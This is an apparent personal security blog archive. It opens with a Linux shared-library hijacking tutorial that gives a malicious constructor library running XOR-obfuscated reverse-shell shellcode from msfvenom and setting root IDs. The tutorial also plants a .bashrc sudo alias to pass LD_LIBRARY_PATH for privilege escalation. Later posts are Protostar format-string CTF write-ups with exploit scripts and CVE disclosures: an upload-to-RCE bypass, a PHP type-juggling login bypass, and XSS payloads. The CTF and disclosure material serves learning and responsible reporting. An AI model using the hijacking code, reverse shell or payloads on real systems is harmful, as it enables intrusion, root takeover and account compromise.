Linux Shared Library Hijacking

Hello everyone!

In this blog post I would like to cover an interesting topic that is not as well known as Windows DLL Hijacking: Linux Shared Library Hijacking. Both concepts are similar but the exploitation is a bit different, I will try to cover first the key concepts related to this topic, and after show and example.

Key concepts:

PE vs ELF

The most commonly used program format in Linux is Executable and Linkable Format (ELF).
On Windows, it is the Portable Executable (PE) format.

DLL’s vs Shared Libraries

Programs on these two systems do have some things in common. In particular, they are similar in how they share code with other applications. On Windows, this shared code is most commonly stored in Dynamic-Link Library (DLL) files. Linux, on the other hand, uses Shared Libraries.

Shared Libraries execution order

Linux checks for its required libraries in a number of locations in a specific order:

  • Directories listed in the application’s RPATH value.
  • Directories specified in the LD_LIBRARY_PATH environment variable.
  • Directories listed in the application’s RUNPATH value.
  • Directories specified in /etc/ld.so.conf.
  • System library directories: /lib, /lib64, /usr/lib, /usr/lib64, /usr/local/lib, /usr/local/lib64, and potentially others.

Exploitation example:

Malicious C code creation:

First of all, we need to find a good place to locate our malicious shared library. For example the following path: /dev/shm/shared-library.c

The shared library example contains the following code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static int run()__attribute__((constructor));

int run (int argc, char **argv)
{
	setuid(0);
	setgid(0);
	printf("SHARED LIBRARY HIJACKING\n");

	// Obfuscated shellcode
	unsigned char buf[] = "\x10\x68\xA7\x33\x51\x01\xC1\xEF\x48\x11\xD1\x8F\x15\x68\x91\x33\x7A\x18\x02\xEB\x5F\x56\x5D\x11\xDD\x99\x20\x08\x32\x53\x19\x00\x08\x33\x71\x01\xC1\x33\x5A\x06\x32\x58\x06\x56\x5D\x11\xDD\x99\x20\x62\x10\xCE\x10\xE0\x5A\x59\x59\xE2\x98\xF1\x59\x01\x09\x11\xD1\xBF\x32\x49\x02\x33\x72\x01\x57\x5C\x01\x11\xDD\x99\x21\x7C\x11\xA6\x91\x2D\x40\x0E\x32\x7A\x00\x33\x58\x33\x5D\x11\xD1\xBE\x10\x68\xAE\x56\x5D\x00\x01\x06\x10\xDC\x98\x20\x9F\x33\x64\x01\x32\x58\x07\x56\x5D\x07\x32\x7F\x02\x56\x5D\x11\xDD\x99\x20\xB4\xA7\xBF\x58";
	
	char xor_key_par = 'X';
	char xor_key_inpar = 'Y';
	int arraysize = (int) sizeof(buf);

	for (int i=0; i<arraysize-1; i++)
	{

		// Si es inpar
		if (i % 2){
		buf[i] = buf[i]^xor_key_inpar;
		}

		// si es par
		else{
		buf[i] = buf[i]^xor_key_par;
		}
	}

	int (*ret)() = (int(*)())buf;
	ret();

	return 0;
}

Note that the shellcode is inside the main function. If you want to understand why, here is a good reference 🙂

https://craftware.xyz/tips/Stack-exec.html

In case that someone needs it, here is the shellcode encoder used (xor key pair encoder):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -f c
unsigned char buf[] = 
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a"
"\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x01\xbb\xc0\xa8"
"\x01\x58\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59"
"\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a"
"\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48"
"\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26"
"\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";

int main (int argc, char **argv)
{
char xor_key_par = 'X';
char xor_key_inpar = 'Y';
int payload_length = (int) sizeof(buf);
for (int i=0; i<payload_length; i++)
{

// Si es inpar
if (i % 2){
printf("\\x%02X",buf[i]^xor_key_inpar);
}
// si es par
else{
printf("\\x%02X",buf[i]^xor_key_par);
}
}
return 0;
}

And here I provide the GCC compilation command, note the execstack flag, to make the stack executable and be able to execute the shellcode, if not it will provide a segmentation fault error once we execute it:

gcc -Wall -fPIC -c -o shared-library.o shared-library.c -z execstack
gcc -shared -o shared-library.so shared-library.o -z execstack

Now that we have our malicious C code ready, the shared library topic starts.

Check what shared libraries are load by a binary

We’ll run the ldd command in the target machine on the vim binary. This will give us information on which libraries are being loaded when vim is being run.

ldd /usr/bin/vim

To do the shared library hijacking I select the last one: libXdmcp.so.6

Environment variables change:

Now we need to prepare the environment variables to hijack the shared library. In a real-world attack we could use .bashrc file to make it persistent.

export LD_LIBRARY_PATH=/dev/shm/
cp shared-library.so libXdmcp.so.6

The goal of this attack is to escalate to root, let’s see how we can do this

Pass environment variables to a sudo context:

We need to make an alias in .bashrc file to pass the environment variable that is hijacking the library to a sudo context. To do this, we can add the following line to .bashrc user file:

alias sudo="sudo LD_LIBRARY_PATH=/dev/shm"

We apply the .bashrc changes, by doing a source command:

source ~/.bashrc

And let’s try of our shared library hijacking works:

sudo vim test

The only thing that I don’t like is that the C code stops the normal execution from vim binary, I’ve found a “solution” to this that is placing an external binary in the same folder location instead of having the malicious code inside the shared library object.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static int run()__attribute__((constructor));

int run (int argc, char **argv)
{
	system("/dev/shm/rev");
}
return 0;
}

Thank you for reading my blog, these are my internal notes to remember how to do some things 🙂

Happy Hacking!

Posted in Uncategorized | Tagged , , , , , , | Leave a comment

Protostar – Format Strings – Level 4

Hello everyone!

This is the blog post for the level 4 format level of Protostar, that is the last one.

This is the hint:

format4 looks at one method of redirecting execution in a process.

Hints: objdump -TR is your friend 
This level is at /opt/protostar/bin/format4

And this is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
 int target;
 
 void hello()
{
printf("code execution redirected! you win\n");
 	_exit(1);
}

void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);  
}

int main(int argc, char **argv)
{
vuln();
}

Before I start, I have to say that I had no idea about GOT. After reading some material about this topic, I’ve found this video that worth gold:

As I was really far of the knowledge needed to solve this, I decided to follow this video almost step by step. It’s really well explained:

First of all, I had to extract some interesting addresses, for that purpose I’ve used gdb:

Our goal is to change the value of the global offset table that is in 0x8049724. We need to replace it for the value of the function hello that is: 0x80484b4.

I’ve followed the video, and before changing this value by exploiting the format string, I did this process using gdb.

This is useful to be able to understand the steps that what we need to do to solve this challenge.

In the image above, you can see that I’ve modified using gdb the value of the address 0x8049724 to the hello function, and I execute the never called function.

Now it’s time to to this in a real way. I’m going to go directly to the python exploit, if you have doubts about the previous steps, please check the blog posts for the last Protostar exercises that are in this blog.

import struct

HELLO = 0x80484b4 // desired value
EXIT_PLT = 0x8049724 // address where we want to put the value

def padding(s):
	return s+"X"*(512-len(s))

exploit  = ""
exploit += struct.pack("I",EXIT_PLT) // 4 last bytes of the address that we want to modify
exploit += struct.pack("I",EXIT_PLT+2) // 4 initial bytes of the address that we want to modify
exploit += "BBBBCCCC"
exploit += "%4$x" // Needs to be 84b4
exploit += "%4$n"
exploit += "%4$x" // Needs to be 0804
exploit += "%5$n"

print padding(exploit)

To generate the correct values I had to do some binary maths.

For the last 4 bytes:

I’ve got 8c that in decimal is 16.

And I want: 84b4 that in decimal is 33972.

So I need:
33972 – 16 = 33956

For the first 4 bytes:

I’ve got = 84bb that in decimal is 33979.
And I want: 0804 that in decimal is 2052.

So I need:
2052 – 33979 = -31927

Here I have a problem, the destination is smaller than the origin, but I can’t use negative numbers.

The solution is to try to reach 10804 instead, the first number will be part of the next byte.

So the destination is 18048 that in decimal is 67588.

So finally I need:
67588 – 33979 = 33609

But I don’t get the desired address, I’m just a bit below the correct value… I add 7 more and I use: 33616 and:

Just in case someone needs it, I copy here the final exploit:

import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def padding(s):
	return s+"X"*(512-len(s))

exploit  = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x" 
exploit += "%4$n"
exploit += "%4$33616x"
exploit += "%5$n"

print padding(exploit)

It was a really interesting exercise. I hope that you enjoyed it, see you soon and happy hacking!

Posted in Exploiting | Tagged , , , , , , , , , , , , , | Leave a comment

Protostar – Format Strings – Level 3

This is another post about Protostar exploiting box. Let’s start working in the interesting levels 🙂

This is the hint for the level:

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.
 
This level is at /opt/protostar/bin/format3

And this is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

As the level starts as the last one, I’m going to cover the initial part of the level in few lines. If you need more details, please read this post:

The steps are the following:

  • We perform a format string attack and we try to find our 4 A’s displayed as 41414141
  • We find the target variable memory address by using objdump
  • We change the 4 A’s for the memory address of the target variable in reverse order
  • We modify the last %x for a %n to write instead of read

Following these steps, we can see that we modified the variable, and now it’s value is 41. Now we need to change it to: 0x01025544. Let’s see how we can do this.

The first thing that we need to notice is that the value that we want to modify it’s 4 bytes long. This value is not only located in the memory address: 080496f4, it’s also located in the adjacent memory addresses.

As a summary, we can use the following information:

080496f4 -> Address 1 -> Modifies Byte 1
080496f5 -> Address 2 -> Modifies Byte 2
080496f6 -> Address 3 -> Modifies Byte 3
080496f7 -> Address 4 -> Modifies Byte 4

To modify all these values, let’s construct a valid structure:

Value1 +  Address 1 + Value2 + Address2 + Value3 + Address3 + Value4 + Address4 + '%x'*11 + "%u%n" + %u%n + %u%n + %u%n

This structure contains the following:

  • value + address 4 times
  • 11 %x of padding
  • %u%n 4 times <- with this we will control the values of the bytes

And we will need this small python script also to calculate the offsets:

def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    print padding

I’ve found the code it in this blog post:

https://www.ayrx.me/protostar-walkthrough-format

Now we are ready to continue creating the string. Let’s launch the initial structure without any value in the %u

python -c "print 'AAAA' + '\xf4\x96\x04\x08' + 'AAAA' + '\xf5\x96\x04\x08' + 'AAAA' + '\xf6\x96\x04\x08' + 'AAAA' +'\xf7\x96\x04\x08' + '%x'*11 + '%u%n' + '%u%n' + '%u%n' +'%u%n'" | ./format3

As you can see in the image above we are getting the following number:

857b7167

But we need to get:

01025544

Let’s focus in the last byte, we need a 44, but we have a 67. If we use our calculator, it displays that we need the following value: 231

Let’s use it in the first %u, and we are going to get the correct number:

python -c "print 'AAAA' + '\xf4\x96\x04\x08' + 'AAAA' + '\xf5\x96\x04\x08' + 'AAAA' + '\xf6\x96\x04\x08' + 'AAAA' +'\xf7\x96\x04\x08' + '%x'*11 + '%231u%n' + '%u%n' + '%u%n' +'%u%n'" | ./format3

The last step is to do the same with the other 3 numbers, and we will pass this level:

That’s all for this post. One more to go…

See you soon and Happy Hacking! 🙂

Posted in Exploiting | Tagged , , , , , , , , , , , , | Leave a comment

Protostar – Format Strings – Level 2

Hello everyone,

Let’s continue working in Protostar exploit exercises 🙂

Next exercise says the following:

This level moves on from format1 and shows how specific values can be written in memory.
 
This level is at /opt/protostar/bin/format2

And this is the code for this level 2:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

This time, the input is received in a different way:

fgets(buffer, sizeof(buffer), stdin);

Let’s start as the past levels. First of all, I verify that the input is vulnerable to format string attack:

The next step is identify the memory address for the variable target:

And then, try to display this address using the the format string attack:

As you can see in the image above, the address is displayed properly. Now, instead of reading by using %x, lets write with a %n.

As you can see the target was modified. Now we can try to display integers and modify the base until we found the correct value:

%10d -> integer with base 10
%20d -> integer with base 20

Let’s see this trial and error process in action:

So that’s it for the level 2! Two more left.

See you in next blog post and Happy Hacking 🙂

Posted in Exploiting | Tagged , , , , , , , , , , , , | Leave a comment

Protostar – Format Strings – Level 1

Let’s continue working in ProtoStar exploiting exercises. Let’s see how to solve the Format String level 1.

As always, first let’s read the level description.

Exercise:

This level shows how format strings can be used to modify arbitrary memory locations.

Hints:

objdump -t is your friend, and your input string lies far up the stack 🙂

Code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Again, it looks a really simple piece of code. Let’s follow their advice and use objdump to identify where is the target variable located in memory:

objdump -t format1 | grep -i target
08049638 g     O .bss	00000004              target

After that, we can use “%x” to pop the next word off of the stack. Our goal is to do it several times and try to look for the memory adress where target variable is located.

Doing some maths I realize that using a ~135 bytes string is enough. After some trial and error I ended working with the following python line:

./format1 $(python -c "print 'AAAA' + 'B'*6 + '%x.'*128 + '%x'")

As you can see in the image above, the last bytes displayed are 41414141 that are the first 4 A’s that are in our input.

The next step is to change this 4 A’s for the memory address that we want to modify, and check that is displayed correctly:

./format1 $(python -c "print '\x38\x96\x04\x08' + 'B'*6 + '%x.'*128 + '%x'")

And finally, the last step is to change the last %x with the %n. This modifier writes the specified address instead of displaying the content:

./format1 $(python -c "print '\x38\x96\x04\x08' + 'B'*6 + '%x.'*128 + '%n'")
Posted in Exploiting | Tagged , , , , , , , , , , , , | Leave a comment

Protostar – Format Strings – Level 0

Hello everyone! In this blog post I will cover the solution for the Exploiting exercise named ProtoStar that is related to Format String vulnerabilities.

Let’s see the first level:

Exercise 0:

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.

Requirements:

  • This level should be done in less than 10 bytes of input.
  • “Exploiting format string vulnerabilities”

This is the C source code of the exercise. It looks pretty simple: we need to overwrite the variable named target by using the user input that is stored in variable named buffer.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

If we solve the exercise as a normal Buffer Overflow, we need to write the 64 bytes buffer space with some A’s for example, and the write the0xdeadbeef value in reverse order.

So to overwrite the target variable we can do the following:

./format0 $(python -c "print 'A'*64 + '\xef\xbe\xad\xde'")

But doing this, we are cheating… we need to do it in less than 10 bytes of input and we need to perform a Format String attack.

We can do the following, we use “%64d” and after the required string. This is an attempt to send a 64 bytes integer and then the deadbeef string.

Is going to look like this:

/format0 $(python -c "print '%64d' + '\xef\xbe\xad\xde'")
Posted in Exploiting | Tagged , , , , , , , , , , , , | Leave a comment

Introduction to Format Strings Bugs

Format strings are the result of facilities for handling functions with variable arguments in the C programming language.

Because it’s really C what makes format strings bugs possible, they affect every OS that has a C compiler.

What is a Format String?

To understand what a format string is, you need to understand the problem that format strings solve. Most programs output textual data in some form, often including numerical data.

Say, for example, that a program wanted to ouput a string containing an amount of money.

double amountInDollars;

Say the amount in euros is $ 1234.88. With a decimal point an two places after it.

Without format strings we would need to write a substantial amount of code just to format a number this way.

Format strings would provide a more generic solution to this problem by allowing a string to be output that includes the values of variables, formatted precisely as dictated by the programmer.

To output the number as specified, we would simply call the printf function, which outputs the string to the process’s standard output (stdout):

printf( "$%.2f\n", AmountInDollars );

To output a double you use the format specifier %f.
In this case the format string is: %.2f
We are using the precision component to specify that we require two places after the decimal point

Why are they useful?

Let’s say that we want to print the same variable in three different ways:

  • In decimal
  • In hex
  • In ASCII

We can use format Strings to do that:

int main ( int argc, char *argv[] )
{
int c;

printf ("=====================\n");
printf ("Decimal Hex Character\n");
printf ("=====================\n");

for ( c=0x20; c<256; c++ ){
	printf( "%03d %02x %c \n", c, c, c);
}

}

If we execute this program we can see that we printed the same variable using 3 different format strings:

What is a Format String bug?

A format string bug occurs when user-supplied data is included in the format string specification string of one of the printf family functions, including:

printf
fprintf
sprintf
snprintf
vfprintf
vsprintf
vsnprintf
...

The attacker supplies a number of format specifiers that have no corresponding arguments on the stack, and values from the stack are used in their place.
This leads to information disclosure and potentially the execution of arbitrary code.

So, let’s create a vulnerable example code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

And let’s compile it disabling all the protections:

gcc -fno-stack-protector -m32 -z execstack -no-pie -o example example.c

And let’s supply some malicious user input to display internal memory addresses of the program:

./format1 `python2 -c 'print ("A"*4 + "%x."*8)'`%x

So this is all I wanted to cover with the introduction to Format Strings, in the following days I will try to do ProtoStar exploiting CTF box to learn a bit about this vulnerability:

Here is the link to ProtoStar:

https://exploit-exercises.lains.space/protostar/

I would try to write some blog posts to save them as a reference for me in the future, when I will probably forget how to exploit this.

See you soon and happy hacking! 🙂

Posted in Exploiting | Tagged , , , , , , , , , , , , | Leave a comment

CVE-2020-10963 – Unrestricted File Upload in FrozenNode/Laravel-Administrator

Hi all,

This time, we want to show you how we achieved unrestricted file upload in the Laravel-Administrator package of FrozenNode. This open source software, is an administrative interface builder for Laravel

https://github.com/FrozenNode/Laravel-Administrator

As Laravel-Administrator allows you to create your own modules, we enabled the file upload in one of them:

If we try to upload a php file, it raises an error regarding wrong file extension

This protection can be easily bypassed following the steps below:

  • Uploading an allowed file
  • Capture the request with BurpSuite (or any other proxy)
  • Replace filename extension by .php
  • Add a GIF Image header in order to bypass file content filters
  • Write the PHP code that you want to execute in the server

At this point, we have been able to upload our payload into the server and, in addition, the server provided us the path of the uploaded file.

You will have noticed that the filename has been replaced by a random string but, as far as it is giving us the name, is easy to find.

At this point, we have remote code execution in the server.

As this project is officially abandoned and its fork (Laravel-Admin) seems to have stopped the development since Laravel 5.8, we encourage the users to migrate to other supported platforms.

Posted in Hacking Web | Tagged , , , , , , , | Leave a comment

CVE-2020-8088 – UseBB Forum 1.0.12 – PHP Type Juggling vulnerability

Hello!

Last week I was reading about PHP Type Juggling vulnerabilities and I decided to spend a couple of days learning about them.

These vulnerabilities can happen during comparison of PHP variables, because PHP will automatically convert the data into a common comparable type.

My idea was to try to find one by my own. But first I needed to look for some PHP open source code to review.

I thought that I could find one in old open source forums. My idea was to try to understand the authentication and the password recovery implementations.

After installing a couple of different open source forums I’ve found UseBB software that seemed to have an interesting implementation of the login.

Installing the software and creating and admin user

So I installed the software, to do that I created a database and followed the installation steps.

I created an admin user with the following credentials:

username=admin
password=aabC9RqS

Checking the login implementation

Doing a quick code check, I’ve found that the login was implemented in the file: “/sources/panel_login.php”

UseBB Forum Login implementation

Identifying a vulnerability

The application does different checks to verify if the password supplied by the user is correct. The most important line for checking the Type Juggling vulnerability is the following:

if ( !$userdata[‘id’] || md5(stripslashes($_POST[‘passwd’])) != $userdata[‘passwd’] ) {

Notice that it’s using only one equal sign, that is a loose comparison, and they should have used an strict one.

In this link you can read the following:

https://www.whitehatsec.com/blog/magic-hashes/

For more than the last decade, PHP programmers have been wrestling with the equals-equals (==) operator. It’s caused a lot of issues. This has a particular implication for password hashes. Password hashes in PHP are base16 encoded and can come in the form of “0e812389…”. The problem is in == comparison the 0e means that if the following characters are all digits the whole string gets treated as a float.

What they are talking about, is that when there is a loose comparison, you can do strange things, like this:

socket@lab:~$ php -r "print md5('aabC9RqS');";echo ''
0e041022518165728065344349536299
socket@lab:~$ php -r "print md5('aabg7XSs');";echo ''
0e087386482136013740957780965295
socket@lab:~$ php -r "var_dump(md5('aabC9RqS') == md5('aabg7XSs'));"
bool(true)

As you can see the hashes are different but when we compare them with a loose comparison the result is true.

Login with the same user using a different password

Before doing anything, let’s check the current status of our database. Specifically the table usebb_members that stores usernames and hashed passwords.

I see the following hash stored as the password:

UseBB Forum admin password hash

If we remember the login verification, this hash is the value for the variable: $userdata[‘passwd’]

Doing a quick verification we can see that this hash, is the md5 value of the password that we used when we registered the user:

socket@lab:~$ php -r "print md5('aabC9RqS');";echo ''
0e041022518165728065344349536299

We know that the password for the user admin is: “aabC9RqS” but let’s try to use “aabg7XSs” instead.

We try to login using this password:

The server is evaluating this:

md5('aabC9RqS') == md5('aabg7XSs')
0e041022518165728065344349536299 == 0e087386482136013740957780965295

And as we saw before…

php -r "var_dump(md5('aabC9RqS') == md5('aabg7XSs'));"
bool(true)

So, we are in 🙂

Vulnerability solution:

We need to add an extra equal in the line 72 of sources/panel_login.php

if ( !$userdata[‘id’] || md5(stripslashes($_POST[‘passwd’])) !== $userdata[‘passwd’] ) {

This software seems to doesn’t have support. But if you are using it, I recommend you to migrate it to Drupal using this plugin:

https://www.drupal.org/project/usebb2drupal

Interesting resources:

If you are interested reading more about this topic I recommend you some resources:

https://www.whitehatsec.com/blog/magic-hashes/

https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling

Thank you for reading the blog! See you soon 🙂

Posted in Hacking Web | Tagged , , , , , , | Leave a comment

Siemens Polarion – CVE-2019-13934, CVE-2019-13935, CVE-2019-13936

Hello,

I write this blog post for people that is just starting in web application hacking. I recommend you that you just download some product or web application and start testing it.

You are going to realize that sometimes is quite simple to find some interesting vulnerabilities, and it’s also a good experience to report them to the product owner and help to make things a little bit more secure 🙂


About 6 months ago I spent a couple of hours playing with a Siemens product named Polarion.

After a manual revision of some requests I discovered some web vulnerabilities and I reported them to their product CERT.

As the final step of the responsible disclosure, they explained me that to assign the CVE numbers, I should publish my findings.

That is the reason why I’m writing this blog post. So here I share with you the details:


CVE-2019-13934 – Siemens Subversion – Reflected Cross Site Scripting

Affected version: Polarion Subversion webclient 1.7.14

Product information: https://polarion.plm.automation.siemens.com/products/svn/svn_webclient

Vulnerability details: The vulnerability it’s located in the parameter filename inside the following POST request:

POST /polarion/svnwebclient/fileUpdateAction.jsp?url=file.txt HTTP/1.1
Host: <deleted>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<deleted>/polarion/svnwebclient/fileUpdate.jsp?url=file.txt
Content-Type: multipart/form-data; boundary=---------------------------4696637554683464751235486069
Content-Length: 530
Cookie: DirectoryContentSortField=name; DirectoryContentSortOrder=asc; JSESSIONID=76067245193EEE051FF470E0C836BB4A.node1; JSESSIONID=4F7EA7035D551E38423431D72B270216.node1; JSESSIONIDSSO=755CF03DEAA3BF533239D2971F6A2AA0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------4696637554683464751235486069
Content-Disposition: form-data; name="originalname"

file.txt
-----------------------------4696637554683464751235486069
Content-Disposition: form-data; name="filepath"; filename="file.txt<img src=a onerror=alert('XSS-Validation')>"
Content-Type: text/plain

hello!

-----------------------------4696637554683464751235486069
Content-Disposition: form-data; name="comment"

File was updated remotely
-----------------------------4696637554683464751235486069--

And here you can see the response from the server:

HTTP/1.1 200 200
Date: Mon, 15 Jul 2019 13:47:47 GMT
Server: Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.2k-fips SVN/1.7.14
Content-Type: text/html;charset=UTF-8
Content-Length: 7991
Connection: close


...
                <b>Message:</b>
            </td>
        </tr>
        <tr>
            <td>
                File file.txt<img src=a onerror=alert('XSS-Validation')> was successfully committed.
            </td>
        </tr>    
        <tr>
            <td style="padding-top:10px;">
                <b>Changed elements:</b>
...

Here are some evidences:


CVE-2019-13935 – Siemens Polarion – Reflected XSS

Affected version: Polarion Subversion webclient 1.7.14

Product information: https://polarion.plm.automation.siemens.com/products/svn/svn_webclient

Vulnerability details: Visit the following url to trigger the XSS.

https://<DELETED>/polarion/svnwebclient/fileUpdate.jsp?url=file.txt%22%3E%3Cimg%20src=a%20onerror=alert(%27XSS-Validation%27)%3E

CVE-2019-13936 – Siemens Polarion – Persistent Cross Site Scripting

Affected version: Polarion Subversion webclient 1.7.14

Product information: https://polarion.plm.automation.siemens.com/products/svn/svn_webclient

Vulnerability details: Follow the next process to trigger the vulnerability.

Select:

Wiki – Create new  – Info Page 

And use this payload in the file title:

<svg/onload=”prompt(1)”> 

And here we can see the JavaScript code executed:


I hope in a couple of weeks I can write a more interesting post related with a vulnerability named PHP Type Juggling.

See you soon!

Posted in Hacking Web | Tagged , , , , | Leave a comment